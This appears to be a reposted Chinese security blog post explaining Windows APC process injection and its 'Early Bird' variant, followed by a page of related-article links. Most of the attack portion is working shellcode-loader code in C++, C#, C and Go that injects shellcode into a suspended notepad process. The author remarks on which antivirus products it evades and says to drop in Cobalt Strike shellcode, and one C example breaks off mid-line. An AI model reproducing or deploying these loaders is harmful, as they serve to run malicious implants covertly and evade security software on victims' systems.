APC注入以及几种实现方式

把dll模块注入到游戏进程的方法_插APC注入 APC是异步过程调用,系统创建线程的时候会为线程创建一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,如果不为空,转去执行APC队列中的每一项,因此给目标进程中的线程插入APC,就可以实现进程注入。 阅读详情

声明
出品|先知社区(ID:林寒)

以下内容,来自先知社区的林寒作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

APC介绍

APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。

所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。

APC注入的一些前置如下:

  • 线程在进程内执行

  • 线程会调用在APC队列中的函数

  • 应用可以给特定线程的APC队列压入函数(有权限控制)

  • 压入队列后,线程将按照顺序优先级执行(FIFO)

  • 这种注入技术的缺点是只有当线程处在alertable状态时才去执行这些APC函数

MSDN上对此解释如下

图片

QueueUserApc:函数作用:添加制定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc:函数作用: 回调函数的写法.

首先异步函数调用的原理:

异步过程调用是一种能在特定线程环境中异步执行的系统机制。

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC

APC注入

简单原理

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

3.我们利用QueueUserApc,往这个队列中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

注入流程

图片

QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。

与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。

那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。

APC注入实现

函数原型

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,     //APC 注入方式
  [in] HANDLE    hThread,     
  [in] ULONG_PTR dwData
);

C++ 实现

代码如下

#include <Windows.h>#include <iostream>unsigned char shellcode[] = "<shellcode>";    //shellcode "\xfc\x48\x83\xe4"int main(){
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";   //path
    SIZE_T buff = sizeof(shellcode);      //size of shellcode
    STARTUPINFOA sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };     //return a new process info
    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);      //create a new thread for process
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;    
    // write shellcode to the process memory
    LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
    WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL)
    // use QueueUserAPC  load shellcode
    QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
    ResumeThread(hThread);
    return 0;}

图片

C#实现

代码如下

using System;using System.Runtime.InteropServices; 
public class shellcode { [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] 
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
 [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] 
 public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] 
 public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 
 public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern uint ResumeThread(IntPtr hThread); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); public enum ProcessAccessRights { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } public enum ThreadAccess : int { TERMINATE = (0x0001), SUSPEND_RESUME = (0x0002), GET_CONTEXT = (0x0008), SET_CONTEXT = (0x0010), SET_INFORMATION = (0x0020), QUERY_INFORMATION = (0x0040), SET_THREAD_TOKEN = (0x0080), IMPERSONATE = (0x0100), DIRECT_IMPERSONATION = (0x0200), THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION } public enum MemAllocation { MEM_COMMIT = 0x00001000, MEM_RESERVE = 0x00002000, MEM_RESET = 0x00080000, MEM_RESET_UNDO = 0x1000000, SecCommit = 0x08000000 } public enum MemProtect { PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, PAGE_EXECUTE_WRITECOPY = 0x80, PAGE_NOACCESS = 0x01, PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_WRITECOPY = 0x08, PAGE_TARGETS_INVALID = 0x40000000, PAGE_TARGETS_NO_UPDATE = 0x40000000, } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebAddress; public IntPtr Reserved2; public IntPtr Reserved3; public IntPtr UniquePid; public IntPtr MoreReserved; } [StructLayout(LayoutKind.Sequential)] //internal struct STARTUPINFO public struct STARTUPINFO { uint cb; IntPtr lpReserved; IntPtr lpDesktop; IntPtr lpTitle; uint dwX; uint dwY; uint dwXSize; uint dwYSize; uint dwXCountChars; uint dwYCountChars; uint dwFillAttributes; public uint dwFlags; public ushort wShowWindow; ushort cbReserved; IntPtr lpReserved2; IntPtr hStdInput; IntPtr hStdOutput; IntPtr hStdErr; } public static PROCESS_INFORMATION StartProcess(string binaryPath) { uint flags = 0x00000004; STARTUPINFO startInfo = new STARTUPINFO(); PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo); return procInfo; } public TestClass() { string b64 = ""; //shellcode base64 encode string targetprocess = "C:/Windows/System32/notepad.exe"; byte[] shellcode = new byte[] { }; shellcode = Convert.FromBase64String(b64); uint lpNumberOfBytesWritten = 0; PROCESS_INFORMATION processInfo = StartProcess(targetprocess); IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId); //write shellcode to the process memory IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE); if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten)) { IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId); IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero); ResumeThread(tHandle); } bool hOpenProcessClose = CloseHandle(pHandle); } }

这里测试过了火绒但是没过360

C实现

代码如下

#include <windows.h>#include <stdio.h>unsigned char shellcode[] = <shellcode>;   //shellcode   {0xfc,0x48,0x83}unsigned int buff = sizeof(shellcode);int main(void) {
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 void * ptApcRoutine;
 ZeroMemory(&si, sizeof(si));
 si.cb = sizeof(si);
 ZeroMemory(&pi, sizeof(pi)); CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
 ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
 WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);
 QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
 ResumeThread(pi.hThread);
 return 0;
}

这里被360杀了,但是加载是能上线的。

APC注入变种Early bird

Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,NtTestAlert是一个检查当前线程的 APC 队列的函数,如果有任何排队作业,它会清空队列。当线程启动时,NtTestAlert会在执行任何操作之前被调用。因此,如果在线程的开始状态下对APC进行操作,就可以完美的执行shellcode。(如果要将shellcode注入本地进程,则可以APC到当前线程并调用NtTestAlert函数来执行)

通常使用的 Windows 函数包括:

  • CreateProcessA:此函数用于创建新进程及其主线程。

  • VirtualAllocEx:在指定进程的虚拟空间保留或提交内存区域

  • WriteProcessMemory:将数据写入指定进程的内存区域。

  • QueueUserAPC:允许将 APC 对象添加到指定线程的 APC 队列中。

Early bird注入流程

1.创建一个挂起的进程(通常是windows的合法进程)

2.在挂起的进程内申请一块可读可写可执行的内存空间

3.往申请的空间内写入shellcode

4.将APC插入到该进程的主线程

5.恢复挂起进程的线程

图片

Early bird注入实现

C实现

代码如下

#include <Windows.h>int main() {
 unsigned char shellcode[] = "<shellcode>"; //shellcode  "\xfc\x48\x83\xe4"
 SIZE_T shellSz = sizeof(buff);
 STARTUPINFOA st = { 0 };
 PROCESS_INFORMATION prt = { 0 };
 CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
 HANDLE victimProcess = prt.hProcess;
 HANDLE threadHandle = prt.hThread;
 LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT,

图片

C++实现

代码如下

#include <Windows.h>int main(){
    unsigned char shellcode[] = "<shellcode>";    //"\xfc\x48\x83\xe4"
    SIZE_T shellSize = sizeof(buf);
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    ResumeThread(threadHandle);
    return 0;}

图片

Go实现

参考项目:

https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird
将其中的shellcode替换成CS的shellcode即可
图片
编译之后运行上线
图片

参考

  • https://docs.microsoft.com/zhcn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSD

  • http://subt0x10.blogspot.com/2017/01/shellcode-injection-via-queueuserapc.html

  • https://www.cnblogs.com/iBinary/p/7574055.html

  • https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection

  • https://idiotc4t.com/code-and-dll-process-injection/early-bird

易语言防游戏检测APC注入DLL技术 APC注入是什么原理? 首先我们得来了解下它是什么东西,才能更好的运用它,对于APC对于懂微软api函数使用的学员来说可能不陌生,新手估计没有接触过。 APC 注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的, 其具体的步骤如下: 1.当EXE里某个线程执行到SleepEx() 或者 WaitForSingleObjectEx() 时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。 2.当线程再 阅读详情

相关推荐

DLL注入的隐秘世界:揭秘APC注入技术及其防御方法

本文深入解析了Windows系统中的APC注入技术,从原理到实战防御进行全面探讨。APC注入利用线程调度机制实现代码执行,相比传统DLL注入更具隐蔽性。文章详细介绍了技术实现流程、进阶变体及企业级防御策略,帮助安全人员有效应对这一高级威胁。

weixin_27199085的博客 380

常见的DLL注入方式,APC注入

当调用各种线程等待函数的时候,线程会进入可唤醒状态,当线程从可唤醒状态苏醒时会检查有没有APC交付给自己,如果有则会执行APC过程。线程进入可唤醒状态时我们可以插入APC过程到目标线程的APC队列里,线程苏醒时会执行我们的APC过程,简单的代码实现如下。

m0_54673519的博客 562

易语言移植的APC注入源码

易语言移植的APC注入源码。@易语言在线学习。

进程注入系列一之APC注入

什么是APC APC 是一个简称,全称为Asynchronous Procedure Call,叫异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。 MSDN解释为: 相关函数 QueueUserApc:函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中 APCproc:函数作用: 回调函数的写法. 核心函数 QueueUserAPC DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhT

weixin_46539164的博客 4159

芯片封装、功率密度提升及热管理系统优化三个维度分析高功率芯片散热技术挑战

本文探讨高功率芯片散热技术挑战与创新。随着新能源汽车MOSFET用量增至400颗/车,文章聚焦封装技术创新(双面散热、集成模块)、功率密度提升(SGT-MOSFET优化)和热管理系统协同优化三大方向。通过热仿真案例(如CPO散热优化)展示温升改善方案,强调需协同器件级设计、系统级仿真与先进封装技术(混合键合/玻璃基板)来解决高密度互连与散热矛盾,为功率密度跃升提供技术支撑。

莱歌数字的博客 1473

NSGA-III相关笔记

NSGA-III目录目的区别NSGA-III的算法流程非支配排序详解归一化详解 目录 NSGA-III基于matlab的实现 参考文献 1.An Evolutionary Many-Objective Optimization Algorithm Using Reference-point Based Non-dominated Sorting Approach,Part I: Solving P...

weixin_42555400的博客 1万+

APC注入

线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx函数时会进入警告状态,系统会产生一个软中断,线程再次被唤醒时会检查APC队列执行所有APC函数。_KAPC_STATE.KernelApcPending为1则调用 KiDeliverApc 执行APC函数,执行完再循环遍历。用户APC:由应用程序产生,在内核、用户层切换时使用不同栈。

Dokii_i的博客 907

量子密钥分发系统的设计与实现(二):光路子系统初步讨论

本文主要对量子密钥分发系统中的光路子系统方案进行了讨论。

量子领域相关话题 2406

7-DLL注入之APC注入

Asynchronous Procedure Call,异步过程调用,简称APC,是在特定线程中异步执行的函数。每个线程都有自己独立的APC队列,应用程序通过调用QueueUserAPC函数将某个APC函数加入到指定线程的APC队列中。当APC函数排入指定线程的APC队列中时,系统发出软中断。当下次调度此线程时,会调用队列中的APC函数。操作系统生成的APC函数叫内核态APC应用程序生成的APC函数叫用户态APC。

weixin_40332490的博客 1522

(92页PPT)某大型集团信息化项目企业数字化转型ERP系统蓝图设计规划方案(附下载方式)

同时,外贸获利空间被严重挤压,必须从价格竞争转向品牌竞争。该方案针对某大型外贸集团在数字化时代的转型需求,提出了一套完整的ERP系统建设框架和实施路径,具有很高的专业参考价值。特别值得关注的是方案提出的"价值为先"指导思想,通过将企业价值图与信息系统建设紧密结合,确保IT投资直接支撑价值创造。同时,方案充分考虑了集团多元化、国际化的发展需求,设计了灵活可扩展的系统架构。总的来说,这份实施方案专业性强、内容全面、措施具体,既立足解决当前问题,又着眼未来发展需求,为大型集团企业的数字化转型提供了优秀范本。

AI_data_cloud的博客 1026

如何优雅地进行频谱分析—— 一行代码实现绘制MATLAB频谱、功率谱图

之前的文章里讲了关于信号频谱、能量谱的相关理论和MATLAB编程实现方法: Mr.看海:信号频域分析方法的理解(频谱、能量谱、功率谱、倒频谱、小波分析) Mr.看海:频域特征值提取的MATLAB代码实现(频谱、功率谱、倒频谱) 不过对于刚刚开始进行这方面研究,或者对MATLAB不甚熟悉,抑或者不想花太多时间用在编程这件事上的同学,目前缺少一种足够便捷、高效、可靠的代码。 所以笔者想做这样一件事:编写一个函数,同学们只需要导入自己要分析的数据,并按照自己的需求设置部分选项,调用一行代码就可以实现绘制频

fengzhuqiaoqiu的博客 2万+

注入有很多方式

1、远线程注入   1.1、首先以暂停的方式启动进程,   1.2、然后在其写入一个LoadLibrary,   1.3、之后会启动一条远线程。 2、APC注入 3、输入法注入:输入法其实也就是一个DLL,切换输入法的时候被注入进去 4、劫持注入:我们都知道我们平时的这些程序都是需要加载系统DLL的,   加载所有的DLL呢,都会遵循一个循序:1、先加载自身目录(所以我在这个程序的自...

weixin_30399821的博客 230

scannet数据集下载文件

scannet数据集下载文件 由于大家会申请scannet数据集,审批比较慢,我将下载的文件里面的内容贴出来,大家可以复制放进py文件中,运行就可以下载 ps:别再私信要数据集了,这个自己下载,如果光三维数据的话,还是很快的,当然如果路由器翻了墙的话,下载会更快。 #!/usr/bin/env python # Downloads ScanNet public data release # Run with ./download-scannet.py (or python download-scannet.

weixin_40766438的博客 9232

初识APC机制&实现APC注入

其实就是一种骚姿势进行的DLL注入,而且动静比之前的小,又已经在运行的线程来回调插入到APC队列中的恶意DLL。

dreamer292的博客 2798

YOLOv11改进前必看 - YAML模型配置文件详细解读(再也不用担心通道数不匹配) 附网络结构图

YOLOv11的模型配置文件在中,里面包含以及,本文以目标检测模型文件为例(其他文件完全一致),详细介绍一下YOLOv11模型文件中各参数的含义。

Limiiiing的博客 5310

使用Python实现深度学习模型:智能光污染监测与管理

本项目将通过以下几个步骤实现智能光污染监测:收集光污染图像数据数据预处理构建深度学习模型训练模型评估模型部署模型用于实时监测通过本文介绍的步骤,我们实现了一个使用Python和深度学习技术的智能光污染监测与管理系统。该系统能够自动识别光污染源,为相关管理部门提供科学依据,以便更好地规划和管理城市照明。同时,这一方法还可以扩展到其他环境监测领域,为环境保护贡献力量。

Echo_Wish 593

Windows APC注入解析

本文详细介绍了Windows系统中的异步过程调用(APC)机制。APC允许一个线程将函数异步排队到另一个线程执行,分为用户模式和内核模式两种类型。文章解析了APC的核心流程:首先通过KeInitializeApc初始化APC结构,然后使用KeInsertQueueApc将APC插入目标线程队列,最后通过KiDeliverApc函数执行APC。特别说明了用户APC和内核APC的不同执行路径,以及APC队列的处理逻辑。APC机制相比传统线程注入更隐蔽,但实现过程涉及复杂的线程状态管理和上下文切换。

qq_38933606的博客 1211

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

进程注入说人话系列:Windows API安全实战-APC注入

所以,Windows设计了可警醒状态,让APC在安全的时机(比如线程在等待时)执行。进程挂了,线程全完蛋;简单说,线程只有在“有空”的时候,才会去处理APC队列里的任务。APC执行时,借用线程的上下文,跑在进程的地址空间里。进程管着线程,线程管着APC队列,所以APC最终还是得看进程这大哥的脸色。线程忙着跑代码,APC说:“哥,等你喘口气,帮我跑个腿”。注意:APC是借用目标线程的上下文执行的,用的是线程的堆栈和寄存器,不是开新线程跑。APC是异步排队的,但执行是同步的,得等线程配合(进入可警醒状态)。

weixin_57393703的博客 2028

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

关于dll注入方式的学习(APC注入)

QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。这里介绍一下应用程序的APC,APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的,如msdn所示。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于。

2201_75856701的博客 1245

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

驱动DLL注入,APC注入,驱动回调注入等实现详细流程及代码!

DLL注入有很多方法,远线程,钩子,输入法,劫持,APC等等。 现在的好多进程都有保护,特别是一些游戏有各种保护如TP TS HS NP CD GPK BE SG3等等保护,这样常规的注入方法就没效果了。 现在流行且稳定的注入方法一般都要用驱动来实现了,驱动注入,APC,回调等都可以用驱动注入。 驱动部分代码: #include "apc_inject_test.h" #include "asm_...

QQ1289671197的博客 7103

基于VC++实现APC注入

请见代码,向指定进程插入钩子#include "stdafx.h" #define _WIN32_WINNT 0x0400 #include #include #include #include using namespace std; #define DEF_BUF_SIZE 1024 // 用于存储注入模块DLL的路径全名 char szDllPa

尹成的技术博客 4193

DLL注入技术之APC注入

DLL注入技术之APC注入     APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。     2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函

潜心学习 2665

DLL注入-APC注入

DLL注入-APC注入

天使也掉毛 5937

Dll注入技术之APC注入

转自:黑客反病毒 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。     2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。     3

ProgrammingRing的专栏 2427

易语言APC应用层注入

这里的APC是R3应用层(用户层),APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的, APC注入可以让一个线程在它正常的执行路径运行之前执行一些其他的代码,每一个线程都有一个附加的APC队列,他们在线程处于可警告的时候才被处理(WaitForSingObjectEx,SleepEx) R3用户模式: 线程可利用QueueUserAPC排入一个让远程线程调用的函数,QueueUser函数的参数 pfnAPC,hThread,dw

511遇见 4972
上一篇: 某CMS漏洞总结
下一篇: 渗透之权限维持的13种方法
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值